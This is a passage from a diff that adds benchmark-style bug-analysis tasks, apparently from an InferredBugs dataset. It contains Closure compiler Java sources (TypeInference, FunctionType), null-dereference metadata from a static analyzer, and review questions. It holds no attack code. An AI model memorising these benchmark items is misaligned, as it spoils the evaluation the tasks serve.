+      this.toBooleanOutcomes = toBooleanOutcomes;
+      this.booleanValues = booleanValues;
+      this.leftScope = leftScope;
+      this.rightScope = rightScope;
+    }
+
+    /**
+     * Gets the safe estimated scope without knowing if all of the
+     * subexpressions will be evaluated.
+     */
+    FlowScope getJoinedFlowScope() {
+      if (joinedScope == null) {
+        if (leftScope == rightScope) {
+          joinedScope = rightScope;
+        } else {
+          joinedScope = join(leftScope, rightScope);
+        }
+      }
+      return joinedScope;
+    }
+
+    /**
+     * Gets the outcome scope if we do know the outcome of the entire
+     * expression.
+     */
+    FlowScope getOutcomeFlowScope(int nodeType, boolean outcome) {
+      if (nodeType == Token.AND && outcome ||
+          nodeType == Token.OR && !outcome) {
+        // We know that the whole expression must have executed.
+        return rightScope;
+      } else {
+        return getJoinedFlowScope();
+      }
+    }
+  }
+
+  private BooleanOutcomePair newBooleanOutcomePair(
+      JSType jsType, FlowScope flowScope) {
+    if (jsType == null) {
+      return new BooleanOutcomePair(
+          BooleanLiteralSet.BOTH, BooleanLiteralSet.BOTH, flowScope, flowScope);
+    }
+    return new BooleanOutcomePair(jsType.getPossibleToBooleanOutcomes(),
+        registry.getNativeType(BOOLEAN_TYPE).isSubtype(jsType) ?
+            BooleanLiteralSet.BOTH : BooleanLiteralSet.EMPTY,
+        flowScope, flowScope);
+  }
+
+  private void redeclareSimpleVar(
+      FlowScope scope, Node nameNode, JSType varType) {
+    Preconditions.checkState(nameNode.isName());
+    String varName = nameNode.getString();
+    if (varType == null) {
+      varType = getNativeType(JSTypeNative.UNKNOWN_TYPE);
+    }
+    if (isUnflowable(syntacticScope.getVar(varName))) {
+      return;
+    }
+    scope.inferSlotType(varName, varType);
+  }
+
+  private boolean isUnflowable(Var v) {
+    return v != null && v.isLocal() && v.isMarkedEscaped() &&
+        // It's OK to flow a variable in the scope where it's escaped.
+        v.getScope() == syntacticScope;
+  }
+
+  /**
+   * This method gets the JSType from the Node argument and verifies that it is
+   * present.
+   */
+  private JSType getJSType(Node n) {
+    JSType jsType = n.getJSType();
+    if (jsType == null) {
+      // TODO(nicksantos): This branch indicates a compiler bug, not worthy of
+      // halting the compilation but we should log this and analyze to track
+      // down why it happens. This is not critical and will be resolved over
+      // time as the type checker is extended.
+      return unknownType;
+    } else {
+      return jsType;
+    }
+  }
+
+  private JSType getNativeType(JSTypeNative typeId) {
+    return registry.getNativeType(typeId);
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `info.getType()` could be null and is dereferenced at line 457.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+FlowScope TypeInference.traverse(Node,FlowScope)
+
+### Procedure Id:
+com.google.javascript.jscomp.TypeInference.traverse(com.google.javascript.rhino.Node,com.google.java.a5a45e6afa620ec38481793fd3e2cf07
+
+### File:
+src/com/google/javascript/jscomp/TypeInference.java
+
+### Key:
+TypeInference.java|traverse|NULL_DEREFERENCE
+
+### Node Key:
+9e5b9322f4b755316251c809a3006ba1
+
+### Hash:
+71ad747df2b1bab626b3bbf6e3aca951
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5213/instruction.md b/inferredbugs-5213/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5e6cb0c65751c0219d0eb5a5a9dabeb4d618b0dc
--- /dev/null
+++ b/inferredbugs-5213/instruction.md
@@ -0,0 +1,1140 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** closure-compiler
+**Bug ID:** 24
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-1999
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ *   Bob Jervis
+ *   Google Inc.
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * the GNU General Public License Version 2 or later (the "GPL"), in which
+ * case the provisions of the GPL are applicable instead of those above. If
+ * you wish to allow use of your version of this file only under the terms of
+ * the GPL and not to allow others to use your version of this file under the
+ * MPL, indicate your decision by deleting the provisions above and replacing
+ * them with the notice and other provisions required by the GPL. If you do
+ * not delete the provisions above, a recipient may use your version of this
+ * file under either the MPL or the GPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+package com.google.javascript.rhino.jstype;
+
+import static com.google.javascript.rhino.jstype.JSTypeNative.U2U_CONSTRUCTOR_TYPE;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.Iterables;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Sets;
+import com.google.javascript.rhino.ErrorReporter;
+import com.google.javascript.rhino.Node;
+import com.google.javascript.rhino.Token;
+
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * This derived type provides extended information about a function, including
+ * its return type and argument types.<p>
+ *
+ * Note: the parameters list is the LP node that is the parent of the
+ * actual NAME node containing the parsed argument list (annotated with
+ * JSDOC_TYPE_PROP's for the compile-time type of each argument.
+ */
+public class FunctionType extends PrototypeObjectType {
+  private static final long serialVersionUID = 1L;
+
+  private enum Kind {
+    ORDINARY,
+    CONSTRUCTOR,
+    INTERFACE
+  }
+
+  /**
+   * {@code [[Call]]} property.
+   */
+  private ArrowType call;
+
+  /**
+   * The {@code prototype} property. This field is lazily initialized by
+   * {@code #getPrototype()}. The most important reason for lazily
+   * initializing this field is that there are cycles in the native types
+   * graph, so some prototypes must temporarily be {@code null} during
+   * the construction of the graph.
+   */
+  private FunctionPrototypeType prototype;
+
+  /**
+   * Whether a function is a constructor, an interface, or just an ordinary
+   * function.
+   */
+  private final Kind kind;
+
+  /**
+   * The type of {@code this} in the scope of this function.
+   */
+  private ObjectType typeOfThis;
+
+  /**
+   * The function node which this type represents. It may be {@code null}.
+   */
+  private Node source;
+
+  /**
+   * The interfaces directly implemented by this function (for constructors)
+   * It is only relevant for constructors. May not be {@code null}.
+   */
+  private List<ObjectType> implementedInterfaces = ImmutableList.of();
+
+  /**
+   * The interfaces directly extendeded by this function (for interfaces)
+   * It is only relevant for constructors. May not be {@code null}.
+   */
+  private List<ObjectType> extendedInterfaces = ImmutableList.of();
+
+  /**
+   * The types which are subtypes of this function. It is only relevant for
+   * constructors and may be {@code null}.
+   */
+  private List<FunctionType> subTypes;
+
+  /**
+   * The template type name. May be {@code null}.
+   */
+  private String templateTypeName;
+
+  /** Creates an instance for a function that might be a constructor. */
+  FunctionType(JSTypeRegistry registry, String name, Node source,
+      ArrowType arrowType, ObjectType typeOfThis,
+      String templateTypeName,  boolean isConstructor, boolean nativeType) {
+    super(registry, name,
+        registry.getNativeObjectType(JSTypeNative.FUNCTION_INSTANCE_TYPE),
+        nativeType);
+    Preconditions.checkArgument(source == null ||
+        Token.FUNCTION == source.getType());
+    Preconditions.checkNotNull(arrowType);
+    this.source = source;
+    this.kind = isConstructor ? Kind.CONSTRUCTOR : Kind.ORDINARY;
+    if (isConstructor) {
+      this.typeOfThis = typeOfThis != null ?
+          typeOfThis : new InstanceObjectType(registry, this, nativeType);
+    } else {
+      this.typeOfThis = typeOfThis != null ?
+          typeOfThis :
+          registry.getNativeObjectType(JSTypeNative.UNKNOWN_TYPE);
+    }
+    this.call = arrowType;
+    this.templateTypeName = templateTypeName;
+  }
+
+  /** Creates an instance for a function that is an interface. */
+  private FunctionType(JSTypeRegistry registry, String name, Node source) {
+    super(registry, name,
+        registry.getNativeObjectType(JSTypeNative.FUNCTION_INSTANCE_TYPE));
+    Preconditions.checkArgument(source == null ||
+        Token.FUNCTION == source.getType());
+    Preconditions.checkArgument(name != null);
+    this.source = source;
+    this.call = new ArrowType(registry, new Node(Token.LP), null);
+    this.kind = Kind.INTERFACE;
+    this.typeOfThis = new InstanceObjectType(registry, this);
+  }
+
+  /** Creates an instance for a function that is an interface. */
+  static FunctionType forInterface(
+      JSTypeRegistry registry, String name, Node source) {
+    return new FunctionType(registry, name, source);
+  }
+
+  @Override
+  public boolean isInstanceType() {
+    // The universal constructor is its own instance, bizarrely.
+    return isEquivalentTo(registry.getNativeType(U2U_CONSTRUCTOR_TYPE));
+  }
+
+  @Override
+  public boolean isConstructor() {
+    return kind == Kind.CONSTRUCTOR;
+  }
+
+  @Override
+  public boolean isInterface() {
+    return kind == Kind.INTERFACE;
+  }
+
+  @Override
+  public boolean isOrdinaryFunction() {
+    return kind == Kind.ORDINARY;
+  }
+
+  @Override
+  public boolean isFunctionType() {
+    return true;
+  }
+
+  @Override
+  public boolean canBeCalled() {
+    return true;
+  }
+
+  public boolean hasImplementedInterfaces() {
+    if (!implementedInterfaces.isEmpty()){
+      return true;
+    }
+    FunctionType superCtor = isConstructor() ?
+        getSuperClassConstructor() : null;
+    if (superCtor != null) {
+      return superCtor.hasImplementedInterfaces();
+    }
+    return false;
+  }
+
+  public Iterable<Node> getParameters() {
+    Node n = getParametersNode();
+    if (n != null) {
+      return n.children();
+    } else {
+      return Collections.emptySet();
+    }
+  }
+
+  /** Gets an LP node that contains all params. May be null. */
+  public Node getParametersNode() {
+    return call.parameters;
+  }
+
+  /** Gets the minimum number of arguments that this function requires. */
+  public int getMinArguments() {
+    // NOTE(nicksantos): There are some native functions that have optional
+    // parameters before required parameters. This algorithm finds the position
+    // of the last required parameter.
+    int i = 0;
+    int min = 0;
+    for (Node n : getParameters()) {
+      i++;
+      if (!n.isOptionalArg() && !n.isVarArgs()) {
+        min = i;
+      }
+    }
+    return min;
+  }
+
+  /**
+   * Gets the maximum number of arguments that this function requires,
+   * or Integer.MAX_VALUE if this is a variable argument function.
+   */
+  public int getMaxArguments() {
+    Node params = getParametersNode();
+    if (params != null) {
+      Node lastParam = params.getLastChild();
+      if (lastParam == null || !lastParam.isVarArgs()) {
+        return params.getChildCount();
+      }
+    }
+
+    return Integer.MAX_VALUE;
+  }
+
+  public JSType getReturnType() {
+    return call.returnType;
+  }
+
+  public boolean isReturnTypeInferred() {
+    return call.returnTypeInferred;
+  }
+
+  /** Gets the internal arrow type. For use by subclasses only. */
+  ArrowType getInternalArrowType() {
+    return call;
+  }
+
+  /**
+   * Gets the {@code prototype} property of this function type. This is
+   * equivalent to {@code (ObjectType) getPropertyType("prototype")}.
+   */
+  public FunctionPrototypeType getPrototype() {
+    // lazy initialization of the prototype field
+    if (prototype == null) {
+      setPrototype(new FunctionPrototypeType(registry, this, null));
+    }
+    return prototype;
+  }
+
+  /**
+   * Sets the prototype, creating the prototype object from the given
+   * base type.
+   * @param baseType The base type.
+   */
+  public void setPrototypeBasedOn(ObjectType baseType) {
+    if (prototype == null) {
+      setPrototype(
+          new FunctionPrototypeType(
+              registry, this, baseType, isNativeObjectType()));
+    } else {
+      prototype.setImplicitPrototype(baseType);
+    }
+  }
+
+  /**
+   * Sets the prototype.
+   * @param prototype the prototype. If this value is {@code null} it will
+   *        silently be discarded.
+   */
+  public boolean setPrototype(FunctionPrototypeType prototype) {
+    if (prototype == null) {
+      return false;
+    }
+    // getInstanceType fails if the function is not a constructor
+    if (isConstructor() && prototype == getInstanceType()) {
+      return false;
+    }
+
+    boolean replacedPrototype = prototype != null;
+    this.prototype = prototype;
+
+    if (isConstructor() || isInterface()) {
+      FunctionType superClass = getSuperClassConstructor();
+      if (superClass != null) {
+        superClass.addSubType(this);
+      }
+
+      if (isInterface()) {
+        for (ObjectType interfaceType : getExtendedInterfaces()) {
+          if (interfaceType.getConstructor() != null) {
+            interfaceType.getConstructor().addSubType(this);
+          }
+        }
+      }
+    }
+
+    if (replacedPrototype) {
+      clearCachedValues();
+    }
+
+    return true;
+  }
+
+  /**
+   * Returns all interfaces implemented by a class or its superclass and any
+   * superclasses for any of those interfaces. If this is called before all
+   * types are resolved, it may return an incomplete set.
+   */
+  public Iterable<ObjectType> getAllImplementedInterfaces() {
+    // Store them in a linked hash set, so that the compile job is
+    // deterministic.
+    Set<ObjectType> interfaces = Sets.newLinkedHashSet();
+
+    for (ObjectType type : getImplementedInterfaces()) {
+      addRelatedInterfaces(type, interfaces);
+    }
+    return interfaces;
+  }
+
+  private void addRelatedInterfaces(ObjectType instance, Set<ObjectType> set) {
+    FunctionType constructor = instance.getConstructor();
+    if (constructor != null) {
+      if (!constructor.isInterface()) {
+        return;
+      }
+
+      set.add(instance);
+
+      for (ObjectType interfaceType : instance.getCtorExtendedInterfaces()) {
+        addRelatedInterfaces(interfaceType, set);
+      }
+    }
+  }
+
+  /** Returns interfaces implemented directly by a class or its superclass. */
+  public Iterable<ObjectType> getImplementedInterfaces() {
+    FunctionType superCtor = isConstructor() ?
+        getSuperClassConstructor() : null;
+    if (superCtor == null) {
+      return implementedInterfaces;
+    } else {
+      return Iterables.concat(
+          implementedInterfaces, superCtor.getImplementedInterfaces());
+    }
+  }
+
+  public void setImplementedInterfaces(List<ObjectType> implementedInterfaces) {
+    // Records this type for each implemented interface.
+    for (ObjectType type : implementedInterfaces) {
+      registry.registerTypeImplementingInterface(this, type);
+    }
+    this.implementedInterfaces = ImmutableList.copyOf(implementedInterfaces);
+  }
+
+  /**
+   * Returns all extended interfaces declared by an interfaces or its super-
+   * interfaces. If this is called before all types are resolved, it may return
+   * an incomplete set.
+   */
+  public Iterable<ObjectType> getAllExtendedInterfaces() {
+    // Store them in a linked hash set, so that the compile job is
+    // deterministic.
+    Set<ObjectType> extendedInterfaces = Sets.newLinkedHashSet();
+
+    for (ObjectType interfaceType : getExtendedInterfaces()) {
+      addRelatedExtendedInterfaces(interfaceType, extendedInterfaces);
+    }
+    return extendedInterfaces;
+  }
+
+  private void addRelatedExtendedInterfaces(ObjectType instance,
+      Set<ObjectType> set) {
+    FunctionType constructor = instance.getConstructor();
+    if (constructor != null) {
+      set.add(instance);
+
+      for (ObjectType interfaceType : constructor.getExtendedInterfaces()) {
+        addRelatedExtendedInterfaces(interfaceType, set);
+      }
+    }
+  }
+
+  /** Returns interfaces directly extended by an interface */
+  public Iterable<ObjectType> getExtendedInterfaces() {
+    return extendedInterfaces;
+  }
+
+  /** Returns the number of interfaces directly extended by an interface */
+  public int getExtendedInterfacesCount() {
+    return extendedInterfaces.size();
+  }
+
+  public void setExtendedInterfaces(List<ObjectType> extendedInterfaces)
+    throws UnsupportedOperationException {
+    if (isInterface()) {
+      this.extendedInterfaces = ImmutableList.copyOf(extendedInterfaces);
+    } else {
+      throw new UnsupportedOperationException();
+    }
+  }
+
+  @Override
+  public boolean hasProperty(String name) {
+    return super.hasProperty(name) || "prototype".equals(name);
+  }
+
+  @Override
+  public boolean hasOwnProperty(String name) {
+    return super.hasOwnProperty(name) || "prototype".equals(name);
+  }
+
+  @Override
+  public JSType getPropertyType(String name) {
+    if ("prototype".equals(name)) {
+      return getPrototype();
+    } else {
+      if (!hasOwnProperty(name)) {
+        if ("call".equals(name)) {
+          // Define the "call" function lazily.
+          Node params = getParametersNode();
+          if (params == null) {
+            // If there's no params array, don't do any type-checking
+            // in this CALL function.
+            defineDeclaredProperty(name,
+                new FunctionBuilder(registry)
+                    .withReturnType(getReturnType())
+                    .build(),
+                source);
+          } else {
+            params = params.cloneTree();
+            Node thisTypeNode = Node.newString(Token.NAME, "thisType");
+            thisTypeNode.setJSType(
+                registry.createOptionalNullableType(getTypeOfThis()));
+            params.addChildToFront(thisTypeNode);
+            thisTypeNode.setOptionalArg(true);
+
+            defineDeclaredProperty(name,
+                new FunctionBuilder(registry)
+                    .withParamsNode(params)
+                    .withReturnType(getReturnType())
+                    .build(),
+                source);
+          }
+        } else if ("apply".equals(name)) {
+          // Define the "apply" function lazily.
+          FunctionParamBuilder builder = new FunctionParamBuilder(registry);
+
+          // Ecma-262 says that apply's second argument must be an Array
+          // or an arguments object. We don't model the arguments object,
+          // so let's just be forgiving for now.
+          // TODO(nicksantos): Model the Arguments object.
+          builder.addOptionalParams(
+              registry.createNullableType(getTypeOfThis()),
+              registry.createNullableType(
+                  registry.getNativeType(JSTypeNative.OBJECT_TYPE)));
+
+          defineDeclaredProperty(name,
+              new FunctionBuilder(registry)
+                  .withParams(builder)
+                  .withReturnType(getReturnType())
+                  .build(),
+              source);
+        }
+      }
+
+      return super.getPropertyType(name);
+    }
+  }
+
+  @Override
+  boolean defineProperty(String name, JSType type,
+      boolean inferred, Node propertyNode) {
+    if ("prototype".equals(name)) {
+      ObjectType objType = type.toObjectType();
+      if (objType != null) {
+        if (objType.isEquivalentTo(prototype)) {
+          return true;
+        }
+        return setPrototype(
+            new FunctionPrototypeType(
+                registry, this, objType, isNativeObjectType()));
+      } else {
+        return false;
+      }
+    }
+    return super.defineProperty(name, type, inferred, propertyNode);
+  }
+
+  @Override
+  public boolean isPropertyTypeInferred(String property) {
+    return "prototype".equals(property) ||
+        super.isPropertyTypeInferred(property);
+  }
+
+  @Override
+  public JSType getLeastSupertype(JSType that) {
+    return supAndInfHelper(that, true);
+  }
+
+  @Override
+  public JSType getGreatestSubtype(JSType that) {
+    return supAndInfHelper(that, false);
+  }
+
+  /**
+   * Computes the supremum or infimum of functions with other types.
+   * Because sup() and inf() share a lot of logic for functions, we use
+   * a single helper.
+   * @param leastSuper If true, compute the supremum of {@code this} with
+   *     {@code that}. Otherwise compute the infimum.
+   * @return The least supertype or greatest subtype.
+   */
+  private JSType supAndInfHelper(JSType that, boolean leastSuper) {
+    // NOTE(nicksantos): When we remove the unknown type, the function types
+    // form a lattice with the universal constructor at the top of the lattice,
+    // and the LEAST_FUNCTION_TYPE type at the bottom of the lattice.
+    //
+    // When we introduce the unknown type, it's much more difficult to make
+    // heads or tails of the partial ordering of types, because there's no
+    // clear hierarchy between the different components (parameter types and
+    // return types) in the ArrowType.
+    //
+    // Rather than make the situation more complicated by introducing new
+    // types (like unions of functions), we just fallback on the simpler
+    // approach of getting things right at the top and the bottom of the
+    // lattice.
+    if (isFunctionType() && that.isFunctionType()) {
+      if (isEquivalentTo(that)) {
+        return this;
+      }
+
+      FunctionType other = null;
+      if (that instanceof FunctionType) {
+        other = (FunctionType) that;
+      }
+
+      // If these are ordinary functions, then merge them.
+      // Don't do this if any of the params/return
+      // values are unknown, because then there will be cycles in
+      // their local lattice and they will merge in weird ways.
+      if (other != null &&
+          isOrdinaryFunction() && that.isOrdinaryFunction() &&
+          !this.call.hasUnknownParamsOrReturn() &&
+          !other.call.hasUnknownParamsOrReturn()) {
+
+        // Check for the degenerate case, but double check
+        // that there's not a cycle.
+        boolean isSubtypeOfThat = this.isSubtype(that);
+        boolean isSubtypeOfThis = that.isSubtype(this);
+        if (isSubtypeOfThat && !isSubtypeOfThis) {
+          return leastSuper ? that : this;
+        } else if (isSubtypeOfThis && !isSubtypeOfThat) {
+          return leastSuper ? this : that;
+        }
+
+        // Merge the two functions component-wise.
+        FunctionType merged = tryMergeFunctionPiecewise(other, leastSuper);
+        if (merged != null) {
+          return merged;
+        }
+      }
+
+      // The function instance type is a special case
+      // that lives above the rest of the lattice.
+      JSType functionInstance = registry.getNativeType(
+          JSTypeNative.FUNCTION_INSTANCE_TYPE);
+      if (functionInstance.isEquivalentTo(that)) {
+        return leastSuper ? that : this;
+      } else if (functionInstance.isEquivalentTo(this)) {
+        return leastSuper ? this : that;
+      }
+
+      // In theory, we should be using the GREATEST_FUNCTION_TYPE as the
+      // greatest function. In practice, we don't because it's way too
+      // broad. The greatest function takes var_args None parameters, which
+      // means that all parameters register a type warning.
+      //
+      // Instead, we use the U2U ctor type, which has unknown type args.
+      FunctionType greatestFn =
+          registry.getNativeFunctionType(JSTypeNative.U2U_CONSTRUCTOR_TYPE);
+      FunctionType leastFn =
+          registry.getNativeFunctionType(JSTypeNative.LEAST_FUNCTION_TYPE);
+      return leastSuper ? greatestFn : leastFn;
+    }
+
+    return leastSuper ?
+        super.getLeastSupertype(that) :
+        super.getGreatestSubtype(that);
+  }
+
+  /**
+   * Try to get the sup/inf of two functions by looking at the
+   * piecewise components.
+   */
+  private FunctionType tryMergeFunctionPiecewise(
+      FunctionType other, boolean leastSuper) {
+    Node newParamsNode = null;
+    if (call.hasEqualParameters(other.call)) {
+      newParamsNode = call.parameters;
+    } else {
+      // If the parameters are not equal, don't try to merge them.
+      // Someday, we should try to merge the individual params.
+      return null;
+    }
+
+    JSType newReturnType = leastSuper ?
+        call.returnType.getLeastSupertype(other.call.returnType) :
+        call.returnType.getGreatestSubtype(other.call.returnType);
+
+    ObjectType newTypeOfThis = null;
+    if (isEquivalent(typeOfThis, other.typeOfThis)) {
+      newTypeOfThis = typeOfThis;
+    } else {
+      JSType maybeNewTypeOfThis = leastSuper ?
+          typeOfThis.getLeastSupertype(other.typeOfThis) :
+          typeOfThis.getGreatestSubtype(other.typeOfThis);
+      if (maybeNewTypeOfThis instanceof ObjectType) {
+        newTypeOfThis = (ObjectType) maybeNewTypeOfThis;
+      } else {
+        newTypeOfThis = leastSuper ?
+            registry.getNativeObjectType(JSTypeNative.OBJECT_TYPE) :
+            registry.getNativeObjectType(JSTypeNative.NO_OBJECT_TYPE);
+      }
+    }
+
+    boolean newReturnTypeInferred =
+        call.returnTypeInferred || other.call.returnTypeInferred;
+
+    return new FunctionType(
+        registry, null, null,
+        new ArrowType(
+            registry, newParamsNode, newReturnType, newReturnTypeInferred),
+        newTypeOfThis, null, false, false);
+  }
+
+  /**
+   * Given a constructor or an interface type, get its superclass constructor
+   * or {@code null} if none exists.
+   */
+  public FunctionType getSuperClassConstructor() {
+    Preconditions.checkArgument(isConstructor() || isInterface());
+    ObjectType maybeSuperInstanceType = getPrototype().getImplicitPrototype();
+    if (maybeSuperInstanceType == null) {
+      return null;
+    }
+    return maybeSuperInstanceType.getConstructor();
+  }
+
+  /**
+   * Given an interface and a property, finds the top-most super interface
+   * that has the property defined (including this interface).
+   */
+  public static ObjectType getTopDefiningInterface(ObjectType type,
+      String propertyName) {
+    ObjectType foundType = null;
+    if (type.hasProperty(propertyName)) {
+      foundType = type;
+    }
+    for (ObjectType interfaceType : type.getCtorExtendedInterfaces()) {
+      if (interfaceType.hasProperty(propertyName)) {
+        foundType = getTopDefiningInterface(interfaceType, propertyName);
+      }
+    }
+    return foundType;
+  }
+
+  /**
+   * Given a constructor or an interface type and a property, finds the
+   * top-most superclass that has the property defined (including this
+   * constructor).
+   */
+  public ObjectType getTopMostDefiningType(String propertyName) {
+    Preconditions.checkState(isConstructor() || isInterface());
+    Preconditions.checkArgument(getPrototype().hasProperty(propertyName));
+    FunctionType ctor = this;
+
+    if (isInterface()) {
+      return getTopDefiningInterface(this.getInstanceType(), propertyName);
+    }
+
+    ObjectType topInstanceType = ctor.getInstanceType();
+    while (true) {
+      topInstanceType = ctor.getInstanceType();
+      ctor = ctor.getSuperClassConstructor();
+      if (ctor == null || !ctor.getPrototype().hasProperty(propertyName)) {
+        break;
+      }
+    }
+    return topInstanceType;
+  }
+
+  /**
+   * Two function types are equal if their signatures match. Since they don't
+   * have signatures, two interfaces are equal if their names match.
+   */
+  @Override
+  public boolean isEquivalentTo(JSType otherType) {
+    if (!(otherType instanceof FunctionType)) {
+      return false;
+    }
+    FunctionType that = (FunctionType) otherType;
+    if (!that.isFunctionType()) {
+      return false;
+    }
+    if (this.isConstructor()) {
+      if (that.isConstructor()) {
+        return this == that;
+      }
+      return false;
+    }
+    if (this.isInterface()) {
+      if (that.isInterface()) {
+        return this.getReferenceName().equals(that.getReferenceName());
+      }
+      return false;
+    }
+    if (that.isInterface()) {
+      return false;
+    }
+    return this.typeOfThis.isEquivalentTo(that.typeOfThis) &&
+        this.call.isEquivalentTo(that.call);
+  }
+
+  @Override
+  public int hashCode() {
+    return isInterface() ? getReferenceName().hashCode() : call.hashCode();
+  }
+
+  public boolean hasEqualCallType(FunctionType otherType) {
+    return this.call.isEquivalentTo(otherType.call);
+  }
+
+  /**
+   * Informally, a function is represented by
+   * {@code function (params): returnType} where the {@code params} is a comma
+   * separated list of types, the first one being a special
+   * {@code this:T} if the function expects a known type for {@code this}.
+   */
+  @Override
+  public String toString() {
+    if (this == registry.getNativeType(JSTypeNative.FUNCTION_INSTANCE_TYPE)) {
+      return "Function";
+    }
+
+    StringBuilder b = new StringBuilder(32);
+    b.append("function (");
+    int paramNum = call.parameters.getChildCount();
+    boolean hasKnownTypeOfThis = !typeOfThis.isUnknownType();
+    if (hasKnownTypeOfThis) {
+      if (isConstructor()) {
+        b.append("new:");
+      } else {
+        b.append("this:");
+      }
+      b.append(typeOfThis.toString());
+    }
+    if (paramNum > 0) {
+      if (hasKnownTypeOfThis) {
+        b.append(", ");
+      }
+      Node p = call.parameters.getFirstChild();
+      if (p.isVarArgs()) {
+        appendVarArgsString(b, p.getJSType());
+      } else {
+        b.append(p.getJSType().toString());
+      }
+      p = p.getNext();
+      while (p != null) {
+        b.append(", ");
+        if (p.isVarArgs()) {
+          appendVarArgsString(b, p.getJSType());
+        } else {
+          b.append(p.getJSType().toString());
+        }
+        p = p.getNext();
+      }
+    }
+    b.append("): ");
+    b.append(call.returnType);
+    return b.toString();
+  }
+
+  /** Gets the string representation of a var args param. */
+  private void appendVarArgsString(StringBuilder builder, JSType paramType) {
+    if (paramType.isUnionType()) {
+      // Remove the optionalness from the var arg.
+      paramType = paramType.toMaybeUnionType().getRestrictedUnion(
+          registry.getNativeType(JSTypeNative.VOID_TYPE));
+    }
+    builder.append("...[").append(paramType.toString()).append("]");
+  }
+
+  /**
+   * A function is a subtype of another if their call methods are related via
+   * subtyping and {@code this} is a subtype of {@code that} with regard to
+   * the prototype chain.
+   */
+  @Override
+  public boolean isSubtype(JSType that) {
+    if (JSType.isSubtype(this, that)) {
+      return true;
+    }
+
+    if (that.isFunctionType()) {
+      if (((FunctionType) that).isInterface()) {
+        // Any function can be assigned to an interface function.
+        return true;
+      }
+      if (this.isInterface()) {
+        // An interface function cannot be assigned to anything.
+        return false;
+      }
+      // If functionA is a subtype of functionB, then their "this" types
+      // should be contravariant. However, this causes problems because
+      // of the way we enforce overrides. Because function(this:SubFoo)
+      // is not a subtype of function(this:Foo), our override check treats
+      // this as an error. It also screws up out standard method
+      // for aliasing constructors. Let's punt on all this for now.
+      // TODO(nicksantos): fix this.
+      FunctionType other = (FunctionType) that;
+      boolean treatThisTypesAsCovariant =
+        // If either one of these is a ctor, skip 'this' checking.
+        this.isConstructor() || other.isConstructor() ||
+
+        // An interface 'this'-type is non-restrictive.
+        // In practical terms, if C implements I, and I has a method m,
+        // then any m doesn't necessarily have to C#m's 'this'
+        // type doesn't need to match I.
+        (other.typeOfThis.getConstructor() != null &&
+             other.typeOfThis.getConstructor().isInterface()) ||
+
+        // If one of the 'this' types is covariant of the other,
+        // then we'll treat them as covariant (see comment above).
+        other.typeOfThis.isSubtype(this.typeOfThis) ||
+        this.typeOfThis.isSubtype(other.typeOfThis);
+      return treatThisTypesAsCovariant && this.call.isSubtype(other.call);
+    }
+
+    return getNativeType(JSTypeNative.FUNCTION_PROTOTYPE).isSubtype(that);
+  }
+
+  @Override
+  public <T> T visit(Visitor<T> visitor) {
+    return visitor.caseFunctionType(this);
+  }
+
+  /**
+   * Gets the type of instance of this function.
+   * @throws IllegalStateException if this function is not a constructor
+   *         (see {@link #isConstructor()}).
+   */
+  public ObjectType getInstanceType() {
+    Preconditions.checkState(hasInstanceType());
+    return typeOfThis;
+  }
+
+  /**
+   * Sets the instance type. This should only be used for special
+   * native types.
+   */
+  void setInstanceType(ObjectType instanceType) {
+    typeOfThis = instanceType;
+  }
+
+  /**
+   * Returns whether this function type has an instance type.
+   */
+  public boolean hasInstanceType() {
+    return isConstructor() || isInterface();
+  }
+
+  /**
+   * Gets the type of {@code this} in this function.
+   */
+  @Override
+  public ObjectType getTypeOfThis() {
+    return typeOfThis.isNoObjectType() ?
+        registry.getNativeObjectType(JSTypeNative.OBJECT_TYPE) : typeOfThis;
+  }
+
+  /**
+   * Gets the source node or null if this is an unknown function.
+   */
+  public Node getSource() {
+    return source;
+  }
+
+  /**
+   * Sets the source node.
+   */
+  public void setSource(Node source) {
+    this.source = source;
+  }
+
+  /** Adds a type to the list of subtypes for this type. */
+  private void addSubType(FunctionType subType) {
+    if (subTypes == null) {
+      subTypes = Lists.newArrayList();
+    }
+    subTypes.add(subType);
+  }
+
+  @Override
+  public void clearCachedValues() {
+    super.clearCachedValues();
+
+    if (subTypes != null) {
+      for (FunctionType subType : subTypes) {
+        subType.clearCachedValues();
+      }
+    }
+
+    if (!isNativeObjectType()) {
+      if (hasInstanceType()) {
+        getInstanceType().clearCachedValues();
+      }
+
+      if (prototype != null) {
+        prototype.clearCachedValues();
+      }
+    }
+  }
+
